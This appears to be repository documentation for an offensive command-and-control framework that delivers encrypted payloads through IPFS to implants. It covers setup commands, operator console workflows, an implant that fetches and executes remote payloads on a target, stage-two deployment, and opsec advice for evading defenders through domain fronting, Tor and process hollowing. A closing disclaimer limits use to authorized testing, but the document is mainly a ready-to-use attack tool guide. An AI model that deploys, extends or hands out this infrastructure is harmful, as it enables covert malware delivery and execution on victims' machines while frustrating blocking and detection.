Upload files to "c2s_ipfs_payloads"

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# IPFS Upload Guide
How to get payloads onto IPFS for use with the C2 IPFS payload delivery system.
## Option 1: Local IPFS Node (Recommended)
### Install IPFS (Kubo)
```bash
# Download Kubo v0.29.0
wget https://dist.ipfs.tech/kubo/v0.29.0/kubo_v0.29.0_linux-amd64.tar.gz
# Extract
tar -xzf kubo_v0.29.0_linux-amd64.tar.gz
# Install
cd kubo
sudo bash install.sh
# Initialize
ipfs init
# Start the daemon
ipfs daemon &
# Wait for it to be ready
ipfs id
```
### Upload a File
```bash
# Add a file to IPFS
ipfs add payload.enc
# Output: added QmX... payload.enc
# The hash is your CID: QmX...
```
### Start the Daemon on Boot
```bash
# Systemd service
sudo tee /etc/systemd/system/ipfs.service << 'EOF'
[Unit]
Description=IPFS Daemon
After=network.target
[Service]
ExecStart=/usr/local/bin/ipfs daemon
Restart=on-failure
User=root
[Install]
WantedBy=multi-user.target
EOF
sudo systemctl enable ipfs
sudo systemctl start ipfs
```
### IPFS API
Once the daemon is running, the API is available at `http://127.0.0.1:5001/api/v0`.
The server uses this by default.
## Option 2: Pinata.cloud (Free Tier)
Pinata offers a free tier with 1GB of storage — no local node needed.
### Setup
1. Create an account at https://pinata.cloud
2. Go to API Keys and generate a JWT
3. Use it with the server/upload tool
### Upload via API
```bash
curl -X POST \
-H "Authorization: Bearer <your-jwt>" \
-F "file=@payload.enc" \
https://api.pinata.cloud/pinning/pinFileToIPFS
```
Response: `{"IpfsHash":"Qm...","PinSize":1234,"Timestamp":"..."}`
### Upload via the C2 Tools
```bash
# Using the upload helper
./upload -key <key> -file payload.bin -pinata-jwt <jwt>
# Or with server
./server -pinata-jwt <jwt> -mode http
# Then in console: deploy payload.bin
```
## Option 3: web3.storage (Free)
https://web3.storage offers 5GB free with API key auth.
```bash
curl -X POST \
-H "Authorization: Bearer <api-token>" \
-H "Content-Type: application/octet-stream" \
--data-binary @payload.enc \
https://api.web3.storage/upload
```
## Option 4: Infura IPFS API
Infura provides free IPFS API access (rate limited).
```bash
# Upload
curl -X POST \
-F "file=@payload.enc" \
"https://ipfs.infura.io:5001/api/v0/add"
# Requires project ID/secret for authenticated gateways
```
## Gateway URLs for Download
The implant supports multiple gateway fallback. Configure via `--gateways`.
Default gateways used by the implant:
| Gateway | URL Template |
|---------|-------------|
| ipfs.io | `https://ipfs.io/ipfs/%s` |
| Cloudflare | `https://cloudflare-ipfs.com/ipfs/%s` |
| Filebase | `https://ipfs.filebase.io/ipfs/%s` |
| dweb.link | `https://dweb.link/ipfs/%s` |
| cf-ipfs.com | `https://cf-ipfs.com/ipfs/%s` |
Custom gateways:
```bash
./client --cid-source <url> --decryption-key <key> \
--gateways "https://gateway1.example.com/ipfs/%s,https://gateway2.example.com/ipfs/%s"
```
## CID Verification
When a file is added to IPFS, its content is hashed to produce a content identifier (CID).
The hash is derived from the file content — changing even one bit changes the CID.
The implant downloads the payload and can verify the SHA-256 hash matches the CID
(for CIDv0, this requires base58 decoding of the multihash — a proper production
implementation would add a base58 library for full verification).
## OpSec Notes
- **Local node**: Your IP is visible to the IPFS DHT when pinning. Use a VPN or Tor.
- **Pinata**: They can see your files. Encrypt before uploading (which this system does).
- **Encryption**: AES-256-GCM with a pre-shared key. Key compromise = payload compromise.
- **Gateway privacy**: Public gateways (ipfs.io, cloudflare-ipfs.com) log your IP.
- **Private gateways**: Run your own gateway for opsec. See: `https://github.com/ipfs/go-ipfs`
- **Pinning**: Files not pinned may be garbage collected. Pin your payloads or use a pinning service.

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# C2 IPFS Payload Delivery System 🖤
Decentralized payload delivery using IPFS + AES-256-GCM encryption. No C2 server IP to block — payloads live on IPFS, implants fetch them from any public gateway.
## Architecture
```
┌──────────────┐ ┌──────────────┐ ┌──────────────┐
│ Operator │────▶│ CID Source │────▶│ Implant │
│ Console │ │ (HTTP or │ │ │
│ (server) │ │ Contract) │ │ (client) │
└──────┬───────┘ └──────┬─────────┘ └──────┬───────┘
│ │ │
│ encrypt + upload │ serves CID │ polls for CID
▼ ▼ ▼
┌─────────┐ ┌──────────┐ ┌──────────┐
│ IPFS │ │ Implants │ │ IPFS │
│ Network │◀───────│ poll CID │◀─────────│ Gateways │
└─────────┘ └──────────┘ └──────────┘
```
### Data Flow
1. **Operator** encrypts a payload binary with AES-256-GCM and uploads it to IPFS
2. **Operator** publishes the resulting CID to the CID source (HTTP hub or smart contract)
3. **Implant** polls the CID source periodically with jitter
4. **Implant** detects a new CID, downloads the encrypted payload from any IPFS gateway
5. **Implant** decrypts with the pre-shared key, executes, reports status
## Modes
### MODE A — Simple HTTP CID Hub (Default, No Blockchain)
A lightweight HTTP server that serves CIDs. The implant polls `GET /cid`.
**Pros:** Simple, no blockchain knowledge needed, no gas costs.
```
┌──────────┐ GET /cid ┌──────────┐
│ Server │◀──────────────│ Implant │
│ :8443 │ ──────────▶│ │
└────┬─────┘ POST /cid └──────────┘
│ POST /cid {"cid":"Qm..."}
┌──┴──┐
│Operator│
└──────┘
```
### MODE B — Smart Contract CID Feed (Fully Decentralized)
A smart contract emits `NewCID` events. The implant watches the event log on-chain.
**Pros:** Fully decentralized, censorship-resistant, transparent.
**Cons:** Requires ETH for gas, go-ethereum build, chain knowledge.
```
┌──────────┐ emit NewCID ┌─────────────┐ ┌──────────┐
│ Operator │──────────────▶│ Smart │ │ Implant │
│ Wallet │ │ Contract │◀───│ (watcher)│
└──────────┘ └──────┬───────┘ └──────────┘
┌───▼───┐
│ Events │
│ (logs) │
└───────┘
```
## Quick Start (Mode A — 5 minutes)
### 1. Build
```bash
# Clone or cd into the project
cd c2-ipfs-payload
# Build all tools
go build -o server ./cmd/server
go build -o client ./cmd/client
go build -o upload ./cmd/upload
# Or build the ethereum-enabled versions
go build -tags ethereum -o server-eth ./cmd/server
go build -tags ethereum -o client-eth ./cmd/client
```
### 2. Start IPFS
See [IPFS_UPLOAD.md](IPFS_UPLOAD.md) for detailed setup.
```bash
# Install and start IPFS daemon
ipfs init && ipfs daemon &
```
### 3. Start the Server
```bash
./server --port 8443
```
The server will:
- Generate a new encryption key (save this!)
- Start the HTTP CID hub on port 8443
- Open the operator console
### 4. Deploy a Payload
In the operator console:
```
> deploy /path/to/payload.bin
```
Or manually:
```bash
# Using the upload helper
./upload -key $(cat key.txt) -file payload.bin
# Then in the console:
> cid QmX...
```
### 5. Start the Implant
```bash
./client \
--cid-source http://your-server:8443 \
--decryption-key <key-from-server> \
--poll-interval 30
```
## Server Reference
### Flags
| Flag | Default | Description |
|------|---------|-------------|
| `--port` | `8443` | HTTP server port (mode A) |
| `--user` | `""` | Basic auth username (mode A) |
| `--pass` | `""` | Basic auth password (mode A) |
| `--jwt` | `""` | JWT token (overrides basic auth) |
| `--mode` | `"http"` | Operation mode: `http` or `contract` |
| `--ipfs-api` | `http://127.0.0.1:5001/api/v0` | IPFS API URL |
| `--pinata-jwt` | `""` | Pinata.cloud JWT (alternative IPFS) |
| `--enc-key` | `""` | Encryption key (auto-generates if empty) |
| `--contract` | `""` | Contract address (mode B) |
| `--rpc-url` | `""` | Ethereum RPC URL (mode B) |
| `--max-history` | `100` | Max history entries |
### Console Commands
| Command | Description |
|---------|-------------|
| `deploy <file>` | Encrypt, upload to IPFS, update CID |
| `cid <cid>` | Manually set a CID |
| `encrypt <file>` | Encrypt a file and upload to IPFS |
| `status` | Show current state |
| `history` | Show recent CID history |
| `genkey` | Generate a new encryption key |
| `help` | Show help |
| `exit` | Shutdown |
### API Endpoints (Mode A)
| Method | Path | Auth | Description |
|--------|------|------|-------------|
| `GET` | `/cid` | Optional | Get current CID |
| `POST` | `/cid` | Optional | Set a new CID |
| `GET` | `/history` | Optional | Get recent CIDs |
| `GET` | `/status` | Optional | Server status |
| `GET` | `/` | No | API info |
**Example:**
```bash
# Set CID
curl -X POST http://server:8443/cid \
-H "Content-Type: application/json" \
-d '{"cid":"QmX...","note":"stage2 payload"}'
# Get current CID
curl http://server:8443/cid
# Get history
curl http://server:8443/history
```
Auth:
```bash
# With basic auth
curl -u admin:password http://server:8443/cid
# With JWT
curl -H "Authorization: Bearer <token>" http://server:8443/cid
```
## Client Reference
### Flags
| Flag | Default | Description |
|------|---------|-------------|
| `--cid-source` | (required) | CID hub URL (mode A) or contract addr (mode B) |
| `--decryption-key` | (required) | 32-byte hex key or passphrase |
| `--poll-interval` | `60` | Poll interval in seconds |
| `--mode` | `"http"` | `http` or `contract` |
| `--rpc-url` | `""` | Ethereum RPC URL (mode B) |
| `--gateways` | defaults | Comma-sep IPFS gateway URLs |
| `--report-url` | `""` | URL to POST execution reports |
| `--config` | `""` | Config file for persistence |
| `--jwt-fetch` | `""` | JWT for authenticated CID hub access |
| `--id` | auto | Implant ID |
### Behavior
- **Jittered polling**: ±20% of the poll interval (reduces fingerprinting)
- **Multi-gateway fallback**: Tries multiple IPFS gateways in random order
- **Config persistence**: Saves last CID, implant ID, and config to a JSON file
- **Auto-reporting**: Posts execution results to a report URL (optional)
- **Signal handling**: Saves state on SIGINT/SIGTERM
## Encryption
- **Algorithm**: AES-256-GCM (authenticated encryption)
- **Key**: 32-byte key (64 hex chars) or arbitrary passphrase (hashed with SHA-256)
- **Output**: `nonce (12 bytes) || ciphertext || tag (16 bytes)`
- **Per-encryption nonce**: Each encryption generates a fresh random nonce
### Key Management
```bash
# Generate a key via server (recommended)
./server # auto-generates on start
# Generate a key manually
./upload -key <any-32-byte-hex> -file test.bin --no-upload
# Better: use genkey in server console
# Derive from passphrase
./client --decryption-key "my-secret-passphrase"
```
## Smart Contract (Mode B)
### Contract Interface
```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract CIDFeed {
string public latestCID;
event NewCID(address indexed sender, string cid, uint256 timestamp);
function publishCID(string memory _cid) public {
latestCID = _cid;
emit NewCID(msg.sender, _cid, block.timestamp);
}
}
```
### Deploy and Use
```bash
# Build with ethereum support
go build -tags ethereum -o server-eth ./cmd/server
# Start in contract mode
./server-eth \
--mode contract \
--contract 0x... \
--rpc-url https://eth-mainnet.g.alchemy.com/v2/... \
--enc-key <key>
# Use the console
> send-cid 0x... QmX...
```
### Watching Mode B from the Implant
```bash
go build -tags ethereum -o client-eth ./cmd/client
./client-eth \
--mode contract \
--cid-source 0x... \
--rpc-url https://eth-mainnet.g.alchemy.com/v2/... \
--decryption-key <key>
```
## Payload Workflow Walkthrough
### Complete Deployment Cycle
```bash
# 1. Build everything
go build -o server ./cmd/server
go build -o client ./cmd/client
# 2. Start IPFS daemon
ipfs daemon &
# 3. Start the server (generates key)
./server --port 8443
# 4. In the server console:
> genkey
New encryption key: a1b2c3d4e5f6... (64 hex chars)
> deploy shellcode.bin
Encrypted shellcode.bin (512 bytes -> 544 bytes encrypted)
Uploading to IPFS...
Uploaded! CID: QmXyZ...
Deployed!
# 5. On the target:
./client \
--cid-source http://hub.example.com:8443 \
--decryption-key a1b2c3d4e5f6... \
--poll-interval 30
# 6. Implant output:
Implant started (ID: aabbccdd, mode: http)
Poll interval: 30s with jitter
CID source: http://hub.example.com:8443
New CID detected: QmXyZ...
Fetching payload from IPFS (544 bytes)...
Decrypted payload (512 bytes), executing...
Payload executed (PID: 12345)
# 7. Deploy the next stage:
> deploy stage2.bin
Deployed! CID: QmAbCd...
```
### Manual Workflow (No IPFS Daemon)
```bash
# 1. Encrypt locally
./upload -key <key> -file payload.bin --no-upload
# 2. Upload via Pinata
curl -X POST \
-H "Authorization: Bearer <pinata-jwt>" \
-F "file=@payload.bin.enc" \
https://api.pinata.cloud/pinning/pinFileToIPFS
# 3. Set the CID on the hub
curl -X POST http://server:8443/cid \
-d '{"cid":"QmFromPinata"}'
```
## OpSec Notes
### Network
- **CID hub**: Should be behind a CDN (Cloudflare, Fastly) or Tor hidden service
- **IPFS uploads**: Use VPN/Tor when connecting to IPFS or Pinata
- **Gateways**: Public gateways log IPs. Run your own private gateway for opsec.
- **No persistent C2 infra**: No fixed IP that defenders can block — only the hub matters
### Encryption
- **Payloads are encrypted before IPFS upload**. Content-addressing verifies integrity.
- **Key distribution is the weak point**. Use E2EE (Signal, etc.) or dead drops.
- **Key rotation**: Change the encryption key periodically. Re-encrypt and redeploy.
- **Passphrases**: Use high-entropy passphrases (>80 bits) rather than short passwords.
### Implant
- **DNS for CID hubs**: Use domain fronting or CDN fronting to hide the hub backend
- **Jittered polling**: Reduces fingerprintable patterns
- **Config persistence**: Encrypt the config file if saved on disk
- **Runtime detection**: Consider reflective loading or process hollowing for the executed payload
### Legal
This tool is for authorized red teaming, penetration testing, and security research.
Do not use against systems you do not own or have explicit written permission to test.
## Build Requirements
- Go 1.21+
- IPFS (optional, for local uploads) — [Install Guide](IPFS_UPLOAD.md)
- go-ethereum (optional, for mode B) — `go get github.com/ethereum/go-ethereum`
### Platform Support
| Platform | Mode A | Mode B |
|----------|--------|--------|
| Linux x86_64 | YES | YES |
| Linux arm64 | YES | YES |
| macOS x86_64/arm64 | YES | YES |
| Windows (cross-compile) | YES | x (CGo) |
| OpenBSD/FreeBSD | YES | x |
## Project Structure
```
c2-ipfs-payload/
├── cmd/
│ ├── server/main.go # Operator console + CID hub
│ ├── client/main.go # Implant
│ └── upload/main.go # Helper: encrypt + upload
├── pkg/
│ ├── types/types.go # Shared data types
│ ├── crypto/crypto.go # AES-256-GCM encryption
│ ├── ipfs/ipfs.go # IPFS upload/download
│ ├── auth/auth.go # HTTP auth middleware
│ └── contract/
│ ├── contract.go # Contract interface (no deps)
│ └── contract_eth.go # go-ethereum implementation
├── README.md # This file
└── IPFS_UPLOAD.md # IPFS setup guide
```
DISCLAIMER: FOR AUTHORIZED SECURITY TESTING OR EDUCATIONAL PURPOSES ONLY

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go 1.26
module github.com/churchofmalware/c2-ipfs-payload